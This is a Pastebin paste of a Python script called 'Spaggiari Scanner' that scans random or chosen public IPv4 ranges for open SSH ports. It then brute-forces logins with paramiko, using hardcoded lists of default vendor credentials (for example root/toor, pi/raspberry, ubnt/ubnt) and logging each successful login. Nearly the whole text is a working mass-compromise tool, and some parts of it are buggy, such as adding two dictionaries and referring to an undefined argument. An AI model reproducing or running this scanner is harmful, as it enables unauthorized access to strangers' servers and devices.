Advertisement
Guest User

Untitled

a guest
Jun 26th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.64 KB | None | 0 0
  1.  
  2. import argparse
  3. import logging
  4. import os
  5. import random
  6. import re
  7. import socket
  8. import sys
  9. import threading
  10. import time
  11. from collections import OrderedDict
  12.  
  13. # Throttle Settings
  14. max_threads = 100
  15. throttle = 20
  16. timeout_breaker = 5
  17. timeout_port = 10
  18. timeout_ssh = 10
  19.  
  20. # SSH Login Combos
  21. combos = OrderedDict([
  22. ('root', ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
  23. ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
  24. ])
  25.  
  26. deep_combos = OrderedDict([
  27. ('root', ('alien','alpine','calvin','kn1TG7psLu','logapp','openelec','pixmet2003','raspberrypi','rasplex','rootme','soho','TANDBERG','trendimsa1.0')),
  28. ('admin', ('aerohive','kn1TG7psLu','TANDBERG')),
  29. ('alien', 'alien'),
  30. ('bitnami', 'bitnami'),
  31. ('cisco', 'cisco'),
  32. ('device', 'apc'),
  33. ('dpn', 'changeme'),
  34. ('HPSupport', 'badg3r5'),
  35. ('lp', 'lp'),
  36. ('master', 'themaster01'),
  37. ('osmc', 'osmc'),
  38. ('pi', 'raspberry'),
  39. ('plexuser', 'rasplex'),
  40. ('sysadmin', 'PASS'),
  41. ('toor', 'logapp'),
  42. ('ubnt', 'ubnt'),
  43. ('user', ('acme','live')),
  44. ('vagrant', 'vagrant'),
  45. ('virl', 'VIRL'),
  46. ('vyos', 'vyos')
  47. ])
  48.  
  49. # Excluded IP Ranges
  50. reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
  51.  
  52. def check_ip(ip):
  53. return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
  54.  
  55. def check_port(ip, port):
  56. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  57. sock.settimeout(timeout_port)
  58. try:
  59. code = sock.connect((ip, port))
  60. except socket.error:
  61. return False
  62. else:
  63. if not code:
  64. return True
  65. else:
  66. return False
  67. finally:
  68. sock.close()
  69.  
  70. def check_range(targets):
  71. found = False
  72. for ip in targets:
  73. if found:
  74. break
  75. for bad_range in reserved:
  76. if ip.startswith(bad_range + '.'):
  77. found = True
  78. break
  79. return found
  80.  
  81. def ip_range(start_ip, end_ip):
  82. start = list(map(int, start_ip.split('.')))
  83. end = list(map(int, end_ip.split('.')))
  84. temp = start
  85. ip_range = []
  86. ip_range.append(start_ip)
  87. while temp != end:
  88. start[3] += 1
  89. for i in (3, 2, 1):
  90. if temp[i] == 256:
  91. temp[i] = 0
  92. temp[i-1] += 1
  93. ip_range.append('.'.join(map(str, temp)))
  94. random.shuffle(ip_range)
  95. return ip_range
  96.  
  97. def random_int(min, max):
  98. return random.randint(min, max)
  99.  
  100. def random_ip():
  101. return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
  102.  
  103. def random_scan():
  104. while True:
  105. ip = (random_ip(),)
  106. if not check_range(ip):
  107. threading.Thread(target=ssh_bruteforce, args=(ip[0],)).start()
  108. while threading.activeCount() >= max_threads:
  109. time.sleep(1)
  110.  
  111. def range_scan(ip_range):
  112. for ip in ip_range:
  113. threading.Thread(target=ssh_bruteforce, args=(ip,)).start()
  114. while threading.activeCount() >= max_threads:
  115. time.sleep(1)
  116. while threading.activeCount() >= 2:
  117. time.sleep(1)
  118.  
  119. def ssh_bruteforce(ip):
  120. timeouts = 0
  121. if check_port(ip, 22):
  122. logging.debug('{0} has port 22 open.'.format(ip))
  123. for username in combos:
  124. passwords = combos[username]
  125. for password in combos[username]:
  126. if timeouts >= timeout_breaker:
  127. break
  128. else:
  129. result = ssh_connect(ip, username, password)
  130. if result == 1:
  131. timeouts += 1
  132. elif result == 2:
  133. timeouts = timeout_breaker
  134. time.sleep(throttle)
  135. else:
  136. logging.error('{0} does not have port 22 open.'.format(ip))
  137.  
  138. def ssh_connect(hostname, username, password):
  139. ssh = paramiko.SSHClient()
  140. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  141. try:
  142. ssh.connect(hostname, 22, username, password, timeout=timeout_ssh)
  143. except socket.timeout:
  144. logging.error('Failed to connect to {0} using {1}:{2} (Timeout)'.format(hostname, username, password))
  145. return 1
  146. except Exception as ex:
  147. logging.error('Failed to connect to {0} using {1}:{2} ({3})'.format(hostname, username, password, str(ex)))
  148. return 0
  149. else:
  150. logging.info('Successful connection to {0} using {1}:{2}'.format(hostname, username, password))
  151. return 2
  152. finally:
  153. ssh.close()
  154.  
  155. # Main
  156. print(''.rjust(56, '#'))
  157. print('#{0}#'.format(''.center(54)))
  158. print('#{0}#'.format('Spaggiari Scanner'.center(54)))
  159. print('#{0}#'.format('Developed by acidvegas in Python 3'.center(54)))
  160. print('#{0}#'.format('https://github.com/acidvegas/spaggiari'.center(54)))
  161. print('#{0}#'.format(''.center(54)))
  162. logger = logging.getLogger()
  163. logger.setLevel(logging.INFO)
  164. stream_handler = logging.StreamHandler(sys.stdout)
  165. stream_handler.setLevel(logging.INFO)
  166. formatter = logging.Formatter('%(asctime)s | %(levelname)8s: %(message)s', '%I:%M:%S')
  167. stream_handler.setFormatter(formatter)
  168. logger.addHandler(stream_handler)
  169. if not sys.version_info.major == 3:
  170. logging.critical('Spaggiari Scanner requires Python version 3 to run!')
  171. sys.exit()
  172. try:
  173. import paramiko
  174. except ImportError:
  175. logging.critical('Failed to import the Paramiko library!')
  176. sys.exit()
  177. else:
  178. paramiko.util.log_to_file('/dev/null')
  179. parser = argparse.ArgumentParser(prog='spaggiari.py', usage='%(prog)s [OPTIONS] [SCAN]')
  180. parser.add_argument('-d', action='store_true', dest='deepscan', help='option: enable deep scanning.')
  181. parser.add_argument('-f', action='store_true', dest='fastscan', help='option: enable fast scanning.')
  182. parser.add_argument('-o', dest='output', help='option: save output from scan(s) to file.', metavar='<path>', type=str)
  183. parser.add_argument('-l', dest='listscan', help='scan a list of ip addresses from file.', metavar='<path>', type=str)
  184. parser.add_argument('-x', action='store_true', dest='randscan', help='scan random ip addresses. (does not stop)')
  185. parser.add_argument('-r', dest='rangescan', help='scan a range of ip addresses.', metavar=('<class>', '<range>'), nargs=2, type=str)
  186. parser.add_argument('-t', dest='targetscan', help='scan a target ip address.', metavar='<ip>', type=str)
  187. args = parser.parse_args()
  188. if args.deepscan:
  189. if not args.targetscan:
  190. logging.critical('Deep scanning can only be enabled with a target scan. (-t)')
  191. sys.exit()
  192. elif args.fastscan:
  193. logging.critical('Fast scanning can not be enabled with a deep scan. (-f)')
  194. sys.exit()
  195. else:
  196. combos = combos + deep_combos
  197. elif args.fastscan:
  198. if args.targetscan:
  199. logging.critical('Fast scanning can not be enabled with a target scan.')
  200. combos = {'root':('root',) }
  201. if args.output:
  202. file_handler = logging.FileHandler(args.output)
  203. file_handler.setLevel(logging.DEBUG)
  204. file_handler.setFormatter(formatter)
  205. logger.addHandler(file_handler)
  206. logger.debug('Logging enabled.')
  207. if args.listscan:
  208. if os.path.isfile(args.listscan):
  209. targets = []
  210. with open(args.listscan) as list_file:
  211. lines = list_file.read().splitlines()
  212. for line in [x for x in lines if x]:
  213. if check_ip(line):
  214. targets.append(line)
  215. if targets:
  216. if not check_range(targets):
  217. logging.debug('Scanning {0:,} IP addresses from list...'.format(len(targets)))
  218. range_scan(targets)
  219. logging.debug('Scan has completed.')
  220. else:
  221. logging.error('Reserved IP address in range.')
  222. else:
  223. logging.error('List contains no valid IP addresses.')
  224. else:
  225. logging.error('Invalid list file. ({0})'.format(args.listscan))
  226. elif args.randscan:
  227. logging.debug('Scanning random IP addresses...')
  228. random_scan()
  229. elif args.rangescan:
  230. if args.rangescan[0] in ('b','c'):
  231. if args.rangescan[0] == 'b':
  232. if args.iprange == 'random':
  233. range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
  234. else:
  235. range_prefix = args.rangescan[1]
  236. start = range_prefix + '.0.0'
  237. end = range_prefix + '.255.255'
  238. elif args.rangescan[0] == 'c':
  239. if args.iprange == 'random':
  240. range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
  241. else:
  242. range_prefix = args.rangescan[1]
  243. start = range_prefix + '.0'
  244. end = range_prefix + '.255'
  245. if check_ip(start):
  246. targets = ip_range(start, end)
  247. if not check_range(targets):
  248. logging.debug('Scanning {0} IP addresses in range...'.format(len(targets)))
  249. range_scan(targets)
  250. logging.debug('Scan has completed.')
  251. else:
  252. logging.error('Reserved IP address in range.')
  253. else:
  254. logging.error('Invalid IP range prefix. ({0})'.format(args.rangescan[1]))
  255. else:
  256. logging.error('Invalid IP Class. ({0})'.format(args.rangescan[0]))
  257. elif args.targetscan:
  258. if check_ip(args.targetscan):
  259. ssh_bruteforce(args.targetscan)
  260. logging.debug('Scan has completed.')
  261. else:
  262. logging.error('Invalid IP Address. ({0})'.format(args.targetscan))
  263. else:
  264. parser.print_help()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement